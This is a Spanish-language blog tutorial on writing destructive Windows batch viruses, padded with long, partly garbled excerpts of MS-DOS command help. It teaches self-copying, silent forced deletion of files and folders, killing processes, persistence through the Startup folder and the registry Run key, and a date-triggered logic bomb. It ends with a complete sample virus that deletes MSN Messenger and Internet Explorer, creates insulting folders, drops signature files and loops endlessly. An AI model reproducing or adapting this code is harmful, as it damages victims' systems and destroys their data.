Ticker

6/recent/ticker-posts

Como crear un virus informatico desde cero

 


 

Hola, aqui les presento un tutorial hecho por mi que contiene lo basico para empezar a intoducirse en la programacion virica en batch....

 

 

Lo primero que vamos a aprender, es los comentarios, en batch los comentarios van despues del simbolo :: , veamos un ejemplo...

 

::esto no se tomara en cuenta para la ejecucion del codigo...

::solo son comentarios

 

weno, ahora que ya sabes que son los comentarios, comencemos..

 

 

DESACTIVAR EL ECO

 

En batch, cada comando que esta en el bat es mostrado en pantalla, para desactivar esto, debes utilizar el comando @echo off. Ejemplo:

 

echo hola

::si te fijas se mostrara aparte de hola, la instruccion... pause > nul

::el pause es para pausar la ejecucion del batch hasta que se presione una tecla... @echo off echo hola

:: solo se mostrara hola :) pause > nul exit

 

MANIPULAR ARCHIVOS

 

Copiar archivos

 

En Batch para copiar un archivo, se usa el comando copy, y como parametros, primero el archivo a copiar seguido de espacio y luego la ruta de destino, es importante que las rutas vayan entre comillas, veamos un ejemplo:

 

Copy "c:\ruta\de\origen.txt" "e:\ruta\de\destino.bat"

 

Si te fijas en el ejemplo, nosotros copiamos el archivo origen.txt y lo copiamos a otra ruta cambandolo a bat, es importante señalar que puedes copiar cualquier tipo de archivo con este comando...

 

Como a nosotros nos interesa el lado malicioso, vamos a ver de que modo puede beneficiar esto a nuestro virus, entonces, el comando copy, puede ir acompañado de /y, que indica que el archivo de destino, si ya existe, se sobreescribira silenciosamente y sin confirmacion:

 

Copy /y "c:\ruta\de\origen.txt" "e:\ruta\de\destino.bat"

::en este caso, si el archivo destino.bat existe, se sobreescribira y ::no pedira ningun tipo de confirmacion.

 

Bueno, ya sabes copiar archivos, pero, ¿como saber nuestra ruta?, seguramente estaras pensando en que tu virus se copie a si mismo en otro directorio, pero para esto deberias saber el nombre de tu virus junto con su ruta :S, pero, NO TE PREOCUPES! , batch ya nos soluciono eso :-)...

Para lograr autocopiarnos se debe reemplazar en donde se pone la ruta de origen por los comandos %0 , eso es el valor de la ruta actual  :-)...

 

Copy /y %0 "c:\destino.bat"

::esto nos replicara en c:\destino.bat...

 

AYUDA DE MS-DOS:

 

Copia uno o m s archivos en otra ubicaci¢nci¢n.

 

COPY [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] origen [/A | /B] 

     [+ origen [/A | /B] [+ ...]] [destino [/A | /B]]

   origen       Especifica el archivo o archivos que deben copiarse.

  /A           Indica un archivo de texto ASCII.

  /B           Indica un archivo binario.

  /D           Permite al archivo de destino que se cree descifrado   Destino      Especifica el directorio y el nombre de archivo de los                nuevos archivos.

  /V           Verifica que los nuevos archivos se escriben                 correctamente.

  /N           Si es posible, usa un nombre de archivo corto al copiar                 un archivo cuyo nombre no tiene el formato 8.3.   /Y           Suprime la petici¢n de confirmaci¢n cuando se va a                 sobrescribir un archivo destino existente.   /-Y          Realiza la petici¢n de confirmaci¢n cuando se va a                 sobrescribir un archivo destino existente.   /Z           Copia archivos de red en modo reiniciable.

 

El modificador /Y puede estar preestablecido en la variable de entorno  COPYCMD. Esto puede anularse con el modificador /-Y en la l¡nea de  comando. Est  predeterminado el pedir la confirmaci¢n del usuario  antes de sobrescribir, excepto si el comando COPY se ejecuta desde un  archivo de comandos por lotes.

 

Para anexar archivos, especifique un £nico archivo de destino, pero  varios archivos de origen (usando caracteres comodines o el formato archivo1+archivo2+archivo3).

 

Borrar archivos

 

Uno de los principales comandos para todo malware es borrar archivos, el comando para realizar esto es Del...se utiliza tipeando Del seguido de espacio y luego la ruta del archivo a borrar entrecomillas...

 

Del "c:\archivo a borrar.exe"

 

Este comando puede borrar cualquier tipo de archivo...si quieres asegurarte de que el archivo desaparezca, le agregas el parametro /f, que forzara el borrado... 

Del /f "c:\archivo a borrar.exe"

 

Ahora vamos al lado viral, para que no nos pida confirmacion al borrar, le agregamos el parametro /q y asi lo borrara de modo silencioso...

 

Del /q "c:\a.exe"

::si te fijas borraras el archivo silenciosamente, pero no lo

::forzaras...

Del /f /q "c:\b.txt"

::ahi si se borrara siempre...claro que no debe estar en uso, pero ya ::explicaremos esto mas adelante...

 

 

Tambien con este comando, son admitidos los comodines, el comando asterisco, representa parte del nombre...

 del /f /q c:\*woo*

::en la carpeta c:\, borrara todos los archivos que contengan la palabra woo...

::por ejemplo awoos, swoo, asdasdasdwoo, wooasdasda, etc...

del /f /q c:\*dd

::este borrara solo los archivos que finalizen con dd... del /f /q c:\*.txt

:: borrara todos los txts...

 

AYUDA DE MS-DOS:

 

Elimina uno o más archivos.

 

DEL [/P] [/F] [/S] [/Q] [/A[[:]atributos]] nombres ERASE [/P] [/F] [/S] [/Q] [/A[[:]atributos]] nombres

   nombres       Especifica una lista de uno o m s archivos o directorios.  

                Se puede utilizar comodines para eliminar varios archivos.

                Si se especifica un directorio todos sus archivos se eliminar n.

     

 

  /P            Pide confirmaci¢n antes de eliminar cada archivo.   /F            Fuerza la eliminaci¢n de archivos de s¢lo lectura.   /S            Elimina archivos especificados en todos los subdirectorios.

  /Q            Modo silencioso. No pide confirmaci¢n con comod¡n global

  /A            Selecciona los archivos que se van a eliminar bas ndose en los                 atributos

  atributos     R  Archivos de s¢lo lectura       S  Archivos de sistema

                H  Archivos ocultos               A  Archivos preparados para                                                      almacenamiento

                -  Prefijo de exclusi¢n

 

Si las extensiones de comando est n activadas DEL y ERASE cambian de la siguiente manera:

 

La semántica que se muestra para el modificador /S est  invertida de tal modo que le muestra solamente los archivos eliminados y no los que no se encontraron.

 

Borrar Carpetas

 

Otra cosa importante en nuestro virus es borrar carpetas, utilizaremos entonces el comando rd (remove directory), se utiliza parecido q al comando del, pero solo utiliza los parametros /s y /q..../s qita todos los archivos y carpetas del directorio y /q lo hace sin confirmacion y silenciosamente...

 rd "c:\windows" ::uuhhh, q pasaria xDxD rd /s /q "c:\windows"

::qda mejor no?...= no se borrara, mas adelante explicare porq...

 

AYUDA DE MS-DOS:

 

Quita un directorio.

 

RMDIR [/S] [/Q] [unidad:]ruta

RD [/S] [/Q] [unidad:]ruta

 

    /S     Quita todos los directorios y archivos del directorio además             del mismo directorio. Se utiliza principalmente cuando se             desea quitar un  rbol.

 

    /Q     Modo silencioso, no pide confirmaci¢n para quitar un  rbol            de directorio con /S

 

Crear directorios

 

Weno, cuando nuestro virus se quiera copiar a una carpeta, y esta no existe, se creara un error y no se copiara, para evitar esto, podemos verificar si el directorio existe que se copie, si no, que cree el directorio y luego se copie :-)...

 

El comando para esto es mkdir o md...

 mkdir "c:\caca" md "c:\wooo"

::esto creara ambos directorios, ya q los dos sirven para lo mismo

 

Comprobar si existe

 

Para la creacion de nuestro virus, podemos comprobar si existe el archivo o carpeta que qeramos modificar, borrar, etc....y si existe nuestra accion sucede...esto se combina con etiqetas, como siempre, las rutas van entre comillas...

 if exist "C:\archivo.exe" (goto 1) else goto 2

:1 

::aqi va la accion del virus, notese q el 1 es la etiqeta...

Del /f /q "C:\archivo.exe"

:2 exit  

PROCESOS  Matar procesos

 para matar procesos se utiliza el comando taskkill, es util siempre matar procesos, ya q si algun archivo esta en uso, no se puede borrar, entonces, para esto matamos el proceso del archivo y luego lo borramos

:-)... el taskkill se utiliza seguido de la expresion /im, y luego el nombre del ejecutable entre comillas....

 taskkill /f /im "explorer.exe"

::esto finalizara el proceso explorer sin pedir confirmacion, gracias al /f

::supongamos q el archivo hola.exe esta en uso y no lo podemos borrar...

taskkill /f /im "hola.exe"

Del /f /q "c:\archivos de programas/hola.exe" ::jeje, ya ha desaparecido el archivo hola.exe

 

AYUDA DE MS-DOS:

 

TASKKILL [/S sistema] [/U usuario [/P contrase¤a]]

         { [/FI filtro] [/PID IdProceso | /IM NombreImagen] } [/F] [/T]

 

Descripci¢n:

    Esta herramienta de la l¡nea de comandos puede usarse en uno o m s     procesos.

    Los procesos pueden terminarse a trav‚s del Id. o del nombre de imagen.

 

Lista de par metros:

    /S    sistema               Especifica el sistema remoto al que conectarse.

 

    /U    [dominio\]usuario    Especifica el contexto de usuario en el que se                                 que el comando debe ejecutarse.

 

    /P     contrase¤a           Especifica la contrase¤a para el contexto de                                 usuario dado. Pide la entrada si se omite.

 

    /F                          Especifica la terminaci¢n forzada                                 de proceso(s).

 

    /FI     filtro              Especifica un conjunto de tarea que coinciden                                 con el criterio especificado en el filtro.

 

    /PID    Id. de proceso      Especifica el ID. de proceso que se debe                                 terminar.

    /IM     nombre de imagen    Especifica el nombre de imagen del proceso que

                                debe terminar. El car cter comod¡n "*" puede                                 usarse para especificar todos los nombres de                                 imagen.

    /T                          Terminar  rbol: termina el proceso especificado                                 y todos los procesos secundarios iniciados por

                                ‚l.

    /?                          Muestra el uso de la ayuda.

 

Filtro(s):

    Nombre filtro   Operadores v lidos         Valores v lidos

    -------------   ------------------         ---------------

    STATUS          eq, ne                     RUNNING | NOT RESPONDING     IMAGENAME       eq, ne                     Nombre de imagen.

    PID             eq, ne, gt, lt, ge, le     Valor de PID.

    SESSION         eq, ne, gt, lt, ge, le     N£mero de sesi¢n

    CPUTIME         eq, ne, gt, lt, ge, le     Tiempo v lido en el formato                                                hh:mm:ss.                                                hh - horas,

                                               mm - minutos, ss - segundos

    MEMUSAGE        eq, ne, gt, lt, ge, le     Uso de memoria en KB.     USERNAME        eq, ne                     Nombre de usuario en formato

                                               [dominio\]usuario.

    MODULES         eq, ne                     Nombre de DLL     SERVICES        eq, ne                     Nombre de servicio.

    WINDOWTITLE     eq, ne                     T¡tulo de ventana.

 

Nota: el car cter comod¡n "*" del modificador /IM se acepta solamente       con filtros.

 

Nota: los procesos remotos siempre se terminar n de manera forzada       sin tener en cuenta si la opci¢n /F se ha especificado o no.

 

Ejemplos:

    TASKKILL /S sistema /F /IM notepad.exe

    TASKKILL /PID 1230 /PID 1241 /PID 1253

    TASKKILL /F /IM notepad.exe /IM mspaint.exe

    TASKKILL /F /FI "PID ge 1000" /FI "WINDOWTITLE ne untitle*"

    TASKKILL /F /FI "USERNAME eq NT AUTHORITY\SYSTEM" /IM notepad.exe

    TASKKILL /S sistema /U dominio\usuario /FI "USERNAME ne NT*" /IM *     TASKKILL /S sistema /U nombreusuario /P contrase¤a /FI "IMAGENAME eq note*"

Ver procesos

 

para ver la lista de procesos, simplemente tipea esto en la consola y veras todos los procesos activos...

 tasklist

 

AYUDA DE MS-DOS:

 

TASKLIST [/S sistema [/U usuario [/P contrase¤a]]]

         [/M [m¢dulo] | /SVC | /V] [/FI filtro] [/FO formato] [/NH]

 

Descripci¢n:

    Esta herramienta de la l¡nea de comandos muestra una lista de      aplicaciones y las tareas o procesos asociados que se ejecutan      en un sistema local o remoto

 

Lista de par metros:

   /S     sistema             Especifica el sistema remoto para conectarse.

 

   /U     [dominio\]usuario  Especifica el contexto de usuario en el que                               que el comando debe ejecutarse.

 

   /P     contrase¤a          Especifica la contrase¤a para el contexto de                               usuario dado.

 

   /M     [m¢dulo]            Muestra todas las tareas que tienen cargados                               m¢dulos de biblioteca DLL que coincidan con el                               nombre est ndar dado.

                              Si no se especifica el nombre del m¢dulo, se                               mostrar n todos los m¢dulos cargados por cada                               tarea.

 

   /SVC                       Muestra los servicios en cada proceso.

 

   /V                         Especifica que la informaci¢n                               sea mostrada.   

   /FI   filtro               Muestra un conjunto de tareas que coinciden                               con el criterio especificado por el filtro.

 

   /FO  formato               Especifica el formato de salida.

                              Valores v lidos: "TABLE", "LIST", "CSV".

 

   /NH                        Especifica que el "encabezado de columna" no                               no debe mostrarse en la salida.

                              V lido s¢lo para formatos "TABLE" y "CSV".

 

   /?                         Muestra el uso/ayuda.

 

Filtros:

    Nombre filtro  Operadores v lidos             Valores v lidos

    -------------  ------------------             ---------------     STATUS          eq, ne                        RUNNING | NOT

RESPONDING

    IMAGENAME       eq, ne                        Nombre de imagen

    PID             eq, ne, gt, lt, ge, le        Valor del PID

    SESSION         eq, ne, gt, lt, ge, le        N£mero de sesi¢n

    SESSIONNAME     eq, ne                        Nombre de sesi¢n     CPUTIME         eq, ne, gt, lt, ge, le        Tiempo de la CPU en el formato                                                   hh:mm:ss.

                                                  hh - n£mero de horas,                                                   mm - minutos, ss - segundos

    MEMUSAGE        eq, ne, gt, lt, ge, le        Uso de memoria en KB     USERNAME        eq, ne                        Nombre de usuario en formato

                                                  [dominio\]usuario

    SERVICES        eq, ne                        Nombre de servicio     WINDOWTITLE     eq, ne                        T¡tulo de ventana

    MODULES         eq, ne                        Nombre DLL

 

Ejemplos:

    TASKLIST

    TASKLIST /M

    TASKLIST /V

    TASKLIST /SVC

    TASKLIST /M wbem*

    TASKLIST /S sistema /FO LIST

    TASKLIST /S sistema /U dominio nombreusuario /FO CSV /NH

    TASKLIST /S sistema /U nombreusuario /P contrase¤a /FO TABLE /NH     TASKLIST /FI "USERNAME ne NT AUTHORITY\SYSTEM" /FI "STATUS eq running"

 

INICIARSE CON WINDOWS

 

Weno, esta, es una de las funciones mas importantes en todo virus, y existen dos metodos para hacerlo:

 

Iniciarse por  startup

 

En windows, hay una carpeta en donde hay accesos directos a programas q se inicien con windows, si copiamos nuestro bat a esta, tambien se iniciara con windows...

 

Copy %0 C:\"Documents and Settings"\"All Users"\* Inicio\"Programas"\"Inicio"\"mivirus.bat" ::jeje, esa es la magika carpeta...

 

Agregarse al registro

 

Este es el modo mas seguro, solo hay q agregarse a la entrada run del registro, creando una clave que contenga el nombre de la ruta y ademas un nombre que se mostrara en el registro:

 reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v

"UNNOMBREQUESEMOSTRARA" /d "c:\tubat.bat"

::reg add es para agregar la clave

::HKLM\Software\Microsoft\Windows\CurrentVersion\Run es la entrada magica donde estan todos los programas q se inician cn windows...

::/v indica el nombre del valor

::/d indica los datos que seran agregados

 

VARIABLES GLOBALES

 

las variables globales nos sirven para que nuestro virus funcione tambien en windows que no esten instalados en el directorio por defecto, aqui dejo algunas...

 

%systemroot% = directorio de windows, por defecto c:\windows %programfiles% = los archivos de programa, por defecto c:\archivos de programa

%username% = el nombre de usuario

%allusersprofile% = por defecto c:\documents and setting\all users %computername% = el nombre de la maqina...

 

Ejemplo de como utilizarlas:

 

Copy %0 %systemroot%\mivirus.bat

::copiara el virus en el directorio de windows...

echo %username%

::te mostrara el nombre de usuario, en mi caso matias xD

::las variables globales siempre deben estar entre %%

 

Si quieres conocer todas las variables globales, tipea set en la consola...

 

Set

 

 

RECUERDA QUE SIEMPRE VAN ENTRE %%

 

CREAR LOOPS

 

Esto es muy facil y es mas q nada logica, se utiliza una etiqeta y luego el goto para volver a la etiqeta...Esto lo puedes utilizar para lo q qras, mas q nada para molestar, xq no se qitara la ventanita nunka xD...

 

::mira esto es un loop

:woOo

::woOo es nuestra etiqeta copy%0 "c:\bat.bat" ::hacemos lo q qramos...

goto woOo

::y volvemos al woOo...

::asi estamos todo el rato haciendo lo mismo...

 

BOMBA LÓGICA

 bueno para hacer que realice las acciones que nosotros queramos en una determinada fecha, utilizaremos la variable %date%, que nos devuelve la fecha del sistema, entonces nosotros verificamos si la fecha es correcta y vamos a una etiqeta, si no, vamos a otra...

 echo %date%

::si nos fijamos nos devuelve 19-06-2006 ::entonces con esto sacamos por teoria que... if %date% == 19-06-06 (goto 1) else goto 2

:1

::codigo del virus

:2 exit  

CREAR TXT

 

Siempre los txts son un buen payload, en batch, para crear un txt, se debe redireccionar la salida con el comando >. Entonces podemos perfectamente dejar la firma en un txt gracias a este comando. Para sobreescribir y crear un archivo, utiliza el comando > y para sobreescribir el comando >>.

 echo jaja te mate el pc...>c:\firma.txt echo y no sabes quien soy>>c:\firma.txt echo I'm The Shredder>>c:\firma.txt echo ups, ya sabes xD>>c:\firma.txt echo saludoss>>c:\firma.txt

 

BORRAR PANTALLA

 si quieres que la victima no vea nada de nada de lo que se esta ejecutando en la consola, puedes poner el comando cls, que sirve para vaciar la pantalla jejeje...

 echo hola echo como estas? echo muy bien

Cls

::uh, ahora veamos borrando la pantallita cada vez q se hace algo echo hola cls echo como estas? cls echo muy bien

Cls

 

Weno eso ha sido todo por hoy, reporten cualquier falla, y posteen sus criticas y especialmente dudas...criticas aqi y dudas en otro post...

 

Si copias esto deja bien en claro el autor e intenta avisarme salu2 

 

 

 

Ejemplo

 

Vamos al trabajo practico, aqui les muestro un ejemplo que acabo de hacer para demostrarles algo util de lo aprendido...

 @echo off cls

Copy %0 "%systemroot%\autoexec.bat"

 taskkill /f /im "msnmsgr.exe" cls

Del /f /q "%programfiles%\MSN Messenger\*.*" :: el *.* es para borrar todos los archivos cls

rd /s /q "%programfiles%\MSN Messenger" cls

Mkdir "c:\Imbésil" cls

Mkdir "c:\tonto"  cls

Mkdir "c:\weon" cls

Mkdir "c:\aweonao" cls

Mkdir "c:\saco e wea" cls

Mkdir "c:\retrasado mental" cls

Mkdir "c:\hijo e puta" cls

Mkdir "c:\chupamela" cls

Mkdir "c:\das asco" cls

Mkdir "c:\dile a tu hermana q mañana le pago" cls if exist "%programfiles%\Internet Explorer" (goto matariex) else goto continuar :continuar echo THE SHREDDER > "%systemroot%\firmita.txt" cls echo WAS >> "%systemroot%\firmita.txt" cls echo HERE >> "%systemroot%\firmita.txt" cls echo VIRUS : Prueba para mi ejemplo >> "%systemroot%\firmita.txt" cls

Copy %systemroot%\firmita.txt "c:\Imbésil\The Shredder was here.txt" cls

Copy %systemroot%\firmita.txt "c:\tonto\The Shredder was here.txt"  cls

Copy %systemroot%\firmita.txt "c:\weon\The Shredder was here.txt" cls

Copy %systemroot%\firmita.txt "c:\aweonao\The Shredder was here.txt" cls

Copy %systemroot%\firmita.txt "c:\saco e wea\The Shredder was here.txt" cls

Copy %systemroot%\firmita.txt "c:\retrasado mental\The Shredder was here.txt" cls

Copy %systemroot%\firmita.txt "c:\hijo e puta\The Shredder was here.txt" cls

Copy %systemroot%\firmita.txt "c:\das asco\The Shredder was here.txt" cls

Copy %systemroot%\firmita.txt "c:\dile a tu hermana q mañana le pago\The Shredder was here.txt" cls

Notepad "%systemroot%\firmita.txt" cls exit :matariex rd /s /f "%programfiles%\Internet Explorer" cls :sinfin

echo usa firefox, es mejor >> creceras.txt goto sinfin

::esto fue hecho para respaldar mi tutorial para crear virus...

 


Publicar un comentario

0 Comentarios